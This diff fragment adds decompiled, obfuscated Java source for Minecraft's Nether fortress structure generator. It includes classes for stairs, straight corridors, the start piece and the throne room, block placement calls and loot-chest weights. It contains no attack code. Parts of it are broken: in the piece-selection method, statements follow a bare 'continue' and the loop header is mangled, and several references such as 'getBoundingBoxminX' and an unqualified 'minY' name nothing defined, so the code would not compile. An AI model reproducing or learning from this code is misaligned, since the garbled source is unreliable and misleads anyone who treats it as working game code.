+      func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), 0, 13, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), 12, 13, 0, p_74875_3_);
+      
+      for (var4 = 3; var4 <= 9; var4 += 2)
+      {
+        func_175804_a(worldIn, p_74875_3_, 1, 7, var4, 1, 8, var4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 11, 7, var4, 11, 8, var4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      }
+      
+      var4 = getMetadataWithOffset(Blocks.nether_brick_stairs, 3);
+      
+
+
+
+      for (int var5 = 0; var5 <= 6; var5++)
+      {
+        int var6 = var5 + 4;
+        
+        for (int var7 = 5; var7 <= 7; var7++)
+        {
+          func_175811_a(worldIn, Blocks.nether_brick_stairs.getStateFromMeta(var4), var7, 5 + var5, var6, p_74875_3_);
+        }
+        
+        if ((var6 >= 5) && (var6 <= 8))
+        {
+          func_175804_a(worldIn, p_74875_3_, 5, 5, var6, 7, var5 + 4, var6, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+        }
+        else if ((var6 >= 9) && (var6 <= 10))
+        {
+          func_175804_a(worldIn, p_74875_3_, 5, 8, var6, 7, var5 + 4, var6, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+        }
+        
+        if (var5 >= 1)
+        {
+          func_175804_a(worldIn, p_74875_3_, 5, 6 + var5, var6, 7, 9 + var5, var6, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+        }
+      }
+      
+      for (var5 = 5; var5 <= 7; var5++)
+      {
+        func_175811_a(worldIn, Blocks.nether_brick_stairs.getStateFromMeta(var4), var5, 12, 11, p_74875_3_);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 5, 6, 7, 5, 7, 7, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 7, 6, 7, 7, 7, 7, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 13, 12, 7, 13, 12, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 5, 2, 3, 5, 3, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 5, 9, 3, 5, 10, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 5, 4, 2, 5, 8, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 9, 5, 2, 10, 5, 3, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 9, 5, 9, 10, 5, 10, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 10, 5, 4, 10, 5, 8, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      var5 = getMetadataWithOffset(Blocks.nether_brick_stairs, 0);
+      int var6 = getMetadataWithOffset(Blocks.nether_brick_stairs, 1);
+      func_175811_a(worldIn, Blocks.nether_brick_stairs.getStateFromMeta(var6), 4, 5, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.nether_brick_stairs.getStateFromMeta(var6), 4, 5, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.nether_brick_stairs.getStateFromMeta(var6), 4, 5, 9, p_74875_3_);
+      func_175811_a(worldIn, Blocks.nether_brick_stairs.getStateFromMeta(var6), 4, 5, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.nether_brick_stairs.getStateFromMeta(var5), 8, 5, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.nether_brick_stairs.getStateFromMeta(var5), 8, 5, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.nether_brick_stairs.getStateFromMeta(var5), 8, 5, 9, p_74875_3_);
+      func_175811_a(worldIn, Blocks.nether_brick_stairs.getStateFromMeta(var5), 8, 5, 10, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 3, 4, 4, 4, 4, 8, Blocks.soul_sand.getDefaultState(), Blocks.soul_sand.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 4, 4, 9, 4, 8, Blocks.soul_sand.getDefaultState(), Blocks.soul_sand.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 3, 5, 4, 4, 5, 8, Blocks.nether_wart.getDefaultState(), Blocks.nether_wart.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 5, 4, 9, 5, 8, Blocks.nether_wart.getDefaultState(), Blocks.nether_wart.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 2, 0, 8, 2, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 4, 12, 2, 8, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 0, 0, 8, 1, 3, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 0, 9, 8, 1, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 4, 3, 1, 8, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 9, 0, 4, 12, 1, 8, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      
+
+      for (int var7 = 4; var7 <= 8; var7++)
+      {
+        for (int var8 = 0; var8 <= 2; var8++)
+        {
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var7, -1, var8, p_74875_3_);
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var7, -1, 12 - var8, p_74875_3_);
+        }
+      }
+      
+      for (var7 = 0; var7 <= 2; var7++)
+      {
+        for (int var8 = 4; var8 <= 8; var8++)
+        {
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var7, -1, var8, p_74875_3_);
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), 12 - var7, -1, var8, p_74875_3_);
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  static abstract class Piece extends StructureComponent
+  {
+    protected static final List field_111019_a = Lists.newArrayList(new WeightedRandomChestContent[] { new WeightedRandomChestContent(Items.diamond, 0, 1, 3, 5), new WeightedRandomChestContent(Items.iron_ingot, 0, 1, 5, 5), new WeightedRandomChestContent(Items.gold_ingot, 0, 1, 3, 15), new WeightedRandomChestContent(Items.golden_sword, 0, 1, 1, 5), new WeightedRandomChestContent(Items.golden_chestplate, 0, 1, 1, 5), new WeightedRandomChestContent(Items.flint_and_steel, 0, 1, 1, 5), new WeightedRandomChestContent(Items.nether_wart, 0, 3, 7, 5), new WeightedRandomChestContent(Items.saddle, 0, 1, 1, 10), new WeightedRandomChestContent(Items.golden_horse_armor, 0, 1, 1, 8), new WeightedRandomChestContent(Items.iron_horse_armor, 0, 1, 1, 5), new WeightedRandomChestContent(Items.diamond_horse_armor, 0, 1, 1, 3), new WeightedRandomChestContent(net.minecraft.item.Item.getItemFromBlock(Blocks.obsidian), 0, 2, 4, 2) });
+    private static final String __OBFID = "CL_00000466";
+    
+    public Piece() {}
+    
+    protected Piece(int p_i2054_1_)
+    {
+      super();
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_) {}
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_) {}
+    
+    private int getTotalWeight(List p_74960_1_)
+    {
+      boolean var2 = false;
+      int var3 = 0;
+      
+      StructureNetherBridgePieces.PieceWeight var5;
+      for (Iterator var4 = p_74960_1_.iterator(); var4.hasNext(); var3 += field_78826_b)
+      {
+        var5 = (StructureNetherBridgePieces.PieceWeight)var4.next();
+        
+        if ((field_78824_d > 0) && (field_78827_c < field_78824_d))
+        {
+          var2 = true;
+        }
+      }
+      
+      return var2 ? var3 : -1;
+    }
+    
+    private Piece func_175871_a(StructureNetherBridgePieces.Start p_175871_1_, List p_175871_2_, List p_175871_3_, Random p_175871_4_, int p_175871_5_, int p_175871_6_, int p_175871_7_, EnumFacing p_175871_8_, int p_175871_9_)
+    {
+      int var10 = getTotalWeight(p_175871_2_);
+      boolean var11 = (var10 > 0) && (p_175871_9_ <= 30);
+      int var12 = 0;
+      Iterator var14;
+      label184: for (; (var12 < 5) && (var11); 
+          
+
+
+
+
+          var14.hasNext())
+      {
+        var12++;
+        int var13 = p_175871_4_.nextInt(var10);
+        var14 = p_175871_2_.iterator();
+        
+        continue;
+        
+        StructureNetherBridgePieces.PieceWeight var15 = (StructureNetherBridgePieces.PieceWeight)var14.next();
+        var13 -= field_78826_b;
+        
+        if (var13 < 0)
+        {
+          if ((!var15.func_78822_a(p_175871_9_)) || ((var15 == theNetherBridgePieceWeight) && (!field_78825_e))) {
+            break label184;
+          }
+          
+
+          Piece var16 = StructureNetherBridgePieces.func_175887_b(var15, p_175871_3_, p_175871_4_, p_175871_5_, p_175871_6_, p_175871_7_, p_175871_8_, p_175871_9_);
+          
+          if (var16 != null)
+          {
+            field_78827_c += 1;
+            theNetherBridgePieceWeight = var15;
+            
+            if (!var15.func_78823_a())
+            {
+              p_175871_2_.remove(var15);
+            }
+            
+            return var16;
+          }
+        }
+      }
+      
+
+      return StructureNetherBridgePieces.End.func_175884_a(p_175871_3_, p_175871_4_, p_175871_5_, p_175871_6_, p_175871_7_, p_175871_8_, p_175871_9_);
+    }
+    
+    private StructureComponent func_175870_a(StructureNetherBridgePieces.Start p_175870_1_, List p_175870_2_, Random p_175870_3_, int p_175870_4_, int p_175870_5_, int p_175870_6_, EnumFacing p_175870_7_, int p_175870_8_, boolean p_175870_9_)
+    {
+      if ((Math.abs(p_175870_4_ - getBoundingBoxminX) <= 112) && (Math.abs(p_175870_6_ - getBoundingBoxminZ) <= 112))
+      {
+        List var10 = primaryWeights;
+        
+        if (p_175870_9_)
+        {
+          var10 = secondaryWeights;
+        }
+        
+        Piece var11 = func_175871_a(p_175870_1_, var10, p_175870_2_, p_175870_3_, p_175870_4_, p_175870_5_, p_175870_6_, p_175870_7_, p_175870_8_ + 1);
+        
+        if (var11 != null)
+        {
+          p_175870_2_.add(var11);
+          field_74967_d.add(var11);
+        }
+        
+        return var11;
+      }
+      
+
+      return StructureNetherBridgePieces.End.func_175884_a(p_175870_2_, p_175870_3_, p_175870_4_, p_175870_5_, p_175870_6_, p_175870_7_, p_175870_8_);
+    }
+    
+
+    protected StructureComponent getNextComponentNormal(StructureNetherBridgePieces.Start p_74963_1_, List p_74963_2_, Random p_74963_3_, int p_74963_4_, int p_74963_5_, boolean p_74963_6_)
+    {
+      if (coordBaseMode != null)
+      {
+        switch (StructureNetherBridgePieces.SwitchEnumFacing.field_175888_a[coordBaseMode.ordinal()])
+        {
+        case 1: 
+          return func_175870_a(p_74963_1_, p_74963_2_, p_74963_3_, boundingBox.minX + p_74963_4_, boundingBox.minY + p_74963_5_, boundingBox.minZ - 1, coordBaseMode, getComponentType(), p_74963_6_);
+        
+        case 2: 
+          return func_175870_a(p_74963_1_, p_74963_2_, p_74963_3_, boundingBox.minX + p_74963_4_, boundingBox.minY + p_74963_5_, boundingBox.maxZ + 1, coordBaseMode, getComponentType(), p_74963_6_);
+        
+        case 3: 
+          return func_175870_a(p_74963_1_, p_74963_2_, p_74963_3_, boundingBox.minX - 1, boundingBox.minY + p_74963_5_, boundingBox.minZ + p_74963_4_, coordBaseMode, getComponentType(), p_74963_6_);
+        
+        case 4: 
+          return func_175870_a(p_74963_1_, p_74963_2_, p_74963_3_, boundingBox.maxX + 1, boundingBox.minY + p_74963_5_, boundingBox.minZ + p_74963_4_, coordBaseMode, getComponentType(), p_74963_6_);
+        }
+        
+      }
+      return null;
+    }
+    
+    protected StructureComponent getNextComponentX(StructureNetherBridgePieces.Start p_74961_1_, List p_74961_2_, Random p_74961_3_, int p_74961_4_, int p_74961_5_, boolean p_74961_6_)
+    {
+      if (coordBaseMode != null)
+      {
+        switch (StructureNetherBridgePieces.SwitchEnumFacing.field_175888_a[coordBaseMode.ordinal()])
+        {
+        case 1: 
+          return func_175870_a(p_74961_1_, p_74961_2_, p_74961_3_, boundingBox.minX - 1, boundingBox.minY + p_74961_4_, boundingBox.minZ + p_74961_5_, EnumFacing.WEST, getComponentType(), p_74961_6_);
+        
+        case 2: 
+          return func_175870_a(p_74961_1_, p_74961_2_, p_74961_3_, boundingBox.minX - 1, boundingBox.minY + p_74961_4_, boundingBox.minZ + p_74961_5_, EnumFacing.WEST, getComponentType(), p_74961_6_);
+        
+        case 3: 
+          return func_175870_a(p_74961_1_, p_74961_2_, p_74961_3_, boundingBox.minX + p_74961_5_, boundingBox.minY + p_74961_4_, boundingBox.minZ - 1, EnumFacing.NORTH, getComponentType(), p_74961_6_);
+        
+        case 4: 
+          return func_175870_a(p_74961_1_, p_74961_2_, p_74961_3_, boundingBox.minX + p_74961_5_, boundingBox.minY + p_74961_4_, boundingBox.minZ - 1, EnumFacing.NORTH, getComponentType(), p_74961_6_);
+        }
+        
+      }
+      return null;
+    }
+    
+    protected StructureComponent getNextComponentZ(StructureNetherBridgePieces.Start p_74965_1_, List p_74965_2_, Random p_74965_3_, int p_74965_4_, int p_74965_5_, boolean p_74965_6_)
+    {
+      if (coordBaseMode != null)
+      {
+        switch (StructureNetherBridgePieces.SwitchEnumFacing.field_175888_a[coordBaseMode.ordinal()])
+        {
+        case 1: 
+          return func_175870_a(p_74965_1_, p_74965_2_, p_74965_3_, boundingBox.maxX + 1, boundingBox.minY + p_74965_4_, boundingBox.minZ + p_74965_5_, EnumFacing.EAST, getComponentType(), p_74965_6_);
+        
+        case 2: 
+          return func_175870_a(p_74965_1_, p_74965_2_, p_74965_3_, boundingBox.maxX + 1, boundingBox.minY + p_74965_4_, boundingBox.minZ + p_74965_5_, EnumFacing.EAST, getComponentType(), p_74965_6_);
+        
+        case 3: 
+          return func_175870_a(p_74965_1_, p_74965_2_, p_74965_3_, boundingBox.minX + p_74965_5_, boundingBox.minY + p_74965_4_, boundingBox.maxZ + 1, EnumFacing.SOUTH, getComponentType(), p_74965_6_);
+        
+        case 4: 
+          return func_175870_a(p_74965_1_, p_74965_2_, p_74965_3_, boundingBox.minX + p_74965_5_, boundingBox.minY + p_74965_4_, boundingBox.maxZ + 1, EnumFacing.SOUTH, getComponentType(), p_74965_6_);
+        }
+        
+      }
+      return null;
+    }
+    
+    protected static boolean isAboveGround(StructureBoundingBox p_74964_0_)
+    {
+      return (p_74964_0_ != null) && (minY > 10);
+    }
+  }
+  
+  static class PieceWeight
+  {
+    public Class weightClass;
+    public final int field_78826_b;
+    public int field_78827_c;
+    public int field_78824_d;
+    public boolean field_78825_e;
+    private static final String __OBFID = "CL_00000467";
+    
+    public PieceWeight(Class p_i2055_1_, int p_i2055_2_, int p_i2055_3_, boolean p_i2055_4_)
+    {
+      weightClass = p_i2055_1_;
+      field_78826_b = p_i2055_2_;
+      field_78824_d = p_i2055_3_;
+      field_78825_e = p_i2055_4_;
+    }
+    
+    public PieceWeight(Class p_i2056_1_, int p_i2056_2_, int p_i2056_3_)
+    {
+      this(p_i2056_1_, p_i2056_2_, p_i2056_3_, false);
+    }
+    
+    public boolean func_78822_a(int p_78822_1_)
+    {
+      return (field_78824_d == 0) || (field_78827_c < field_78824_d);
+    }
+    
+    public boolean func_78823_a()
+    {
+      return (field_78824_d == 0) || (field_78827_c < field_78824_d);
+    }
+  }
+  
+  public static class Stairs extends StructureNetherBridgePieces.Piece
+  {
+    private static final String __OBFID = "CL_00000469";
+    
+    public Stairs() {}
+    
+    public Stairs(int p_i45609_1_, Random p_i45609_2_, StructureBoundingBox p_i45609_3_, EnumFacing p_i45609_4_)
+    {
+      super();
+      coordBaseMode = p_i45609_4_;
+      boundingBox = p_i45609_3_;
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentZ((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 6, 2, false);
+    }
+    
+    public static Stairs func_175872_a(List p_175872_0_, Random p_175872_1_, int p_175872_2_, int p_175872_3_, int p_175872_4_, int p_175872_5_, EnumFacing p_175872_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175872_2_, p_175872_3_, p_175872_4_, -2, 0, 0, 7, 11, 7, p_175872_6_);
+      return (isAboveGround(var7)) && (StructureComponent.findIntersecting(p_175872_0_, var7) == null) ? new Stairs(p_175872_5_, p_175872_1_, var7, p_175872_6_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 6, 1, 6, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 6, 10, 6, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 1, 8, 0, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 2, 0, 6, 8, 0, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 1, 0, 8, 6, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 2, 1, 6, 8, 6, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 6, 5, 8, 6, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 2, 0, 5, 4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 3, 2, 6, 5, 2, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 3, 4, 6, 5, 4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.nether_brick.getDefaultState(), 5, 2, 5, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 4, 2, 5, 4, 3, 5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 3, 2, 5, 3, 4, 5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 2, 5, 2, 5, 5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 5, 1, 6, 5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 7, 1, 5, 7, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 8, 2, 6, 8, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 6, 0, 4, 8, 0, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 5, 0, 4, 5, 0, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      
+      for (int var4 = 0; var4 <= 6; var4++)
+      {
+        for (int var5 = 0; var5 <= 6; var5++)
+        {
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var4, -1, var5, p_74875_3_);
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Start extends StructureNetherBridgePieces.Crossing3
+  {
+    public StructureNetherBridgePieces.PieceWeight theNetherBridgePieceWeight;
+    public List primaryWeights;
+    public List secondaryWeights;
+    public List field_74967_d = Lists.newArrayList();
+    private static final String __OBFID = "CL_00000470";
+    
+    public Start() {}
+    
+    public Start(Random p_i2059_1_, int p_i2059_2_, int p_i2059_3_)
+    {
+      super(p_i2059_2_, p_i2059_3_);
+      primaryWeights = Lists.newArrayList();
+      StructureNetherBridgePieces.PieceWeight[] var4 = StructureNetherBridgePieces.primaryComponents;
+      int var5 = var4.length;
+      
+
+
+      for (int var6 = 0; var6 < var5; var6++)
+      {
+        StructureNetherBridgePieces.PieceWeight var7 = var4[var6];
+        field_78827_c = 0;
+        primaryWeights.add(var7);
+      }
+      
+      secondaryWeights = Lists.newArrayList();
+      var4 = StructureNetherBridgePieces.secondaryComponents;
+      var5 = var4.length;
+      
+      for (var6 = 0; var6 < var5; var6++)
+      {
+        StructureNetherBridgePieces.PieceWeight var7 = var4[var6];
+        field_78827_c = 0;
+        secondaryWeights.add(var7);
+      }
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+    }
+  }
+  
+  public static class Straight extends StructureNetherBridgePieces.Piece
+  {
+    private static final String __OBFID = "CL_00000456";
+    
+    public Straight() {}
+    
+    public Straight(int p_i45620_1_, Random p_i45620_2_, StructureBoundingBox p_i45620_3_, EnumFacing p_i45620_4_)
+    {
+      super();
+      coordBaseMode = p_i45620_4_;
+      boundingBox = p_i45620_3_;
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentNormal((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 1, 3, false);
+    }
+    
+    public static Straight func_175882_a(List p_175882_0_, Random p_175882_1_, int p_175882_2_, int p_175882_3_, int p_175882_4_, EnumFacing p_175882_5_, int p_175882_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175882_2_, p_175882_3_, p_175882_4_, -1, -3, 0, 5, 10, 19, p_175882_5_);
+      return (isAboveGround(var7)) && (StructureComponent.findIntersecting(p_175882_0_, var7) == null) ? new Straight(p_175882_6_, p_175882_1_, var7, p_175882_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 0, 4, 4, 18, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 5, 0, 3, 7, 18, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 0, 0, 5, 18, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 5, 0, 4, 5, 18, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 4, 2, 5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 13, 4, 2, 18, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 4, 1, 3, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 15, 4, 1, 18, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      
+      for (int var4 = 0; var4 <= 4; var4++)
+      {
+        for (int var5 = 0; var5 <= 2; var5++)
+        {
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var4, -1, var5, p_74875_3_);
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var4, -1, 18 - var5, p_74875_3_);
+        }
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 1, 0, 4, 1, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 4, 0, 4, 4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 14, 0, 4, 14, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 17, 0, 4, 17, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 1, 1, 4, 4, 1, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 3, 4, 4, 4, 4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 3, 14, 4, 4, 14, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 1, 17, 4, 4, 17, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      return true;
+    }
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_175888_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00001997";
+    
+    static
+    {
+      try
+      {
+        field_175888_a[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_175888_a[EnumFacing.SOUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_175888_a[EnumFacing.WEST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_175888_a[EnumFacing.EAST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+  
+  public static class Throne
+    extends StructureNetherBridgePieces.Piece
+  {
+    private boolean hasSpawner;
+    private static final String __OBFID = "CL_00000465";
+    
+    public Throne() {}
+    
+    public Throne(int p_i45611_1_, Random p_i45611_2_, StructureBoundingBox p_i45611_3_, EnumFacing p_i45611_4_)
+    {
+      super();
+      coordBaseMode = p_i45611_4_;
+      boundingBox = p_i45611_3_;
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      hasSpawner = p_143011_1_.getBoolean("Mob");
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setBoolean("Mob", hasSpawner);
+    }
+    
+    public static Throne func_175874_a(List p_175874_0_, Random p_175874_1_, int p_175874_2_, int p_175874_3_, int p_175874_4_, int p_175874_5_, EnumFacing p_175874_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175874_2_, p_175874_3_, p_175874_4_, -2, 0, 0, 7, 8, 9, p_175874_6_);
+      return (isAboveGround(var7)) && (StructureComponent.findIntersecting(p_175874_0_, var7) == null) ? new Throne(p_175874_5_, p_175874_1_, var7, p_175874_6_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 6, 7, 7, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 0, 5, 1, 7, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 1, 5, 2, 7, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 3, 2, 5, 3, 7, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 4, 3, 5, 4, 7, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 0, 1, 4, 2, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 2, 0, 5, 4, 2, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 5, 2, 1, 5, 3, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
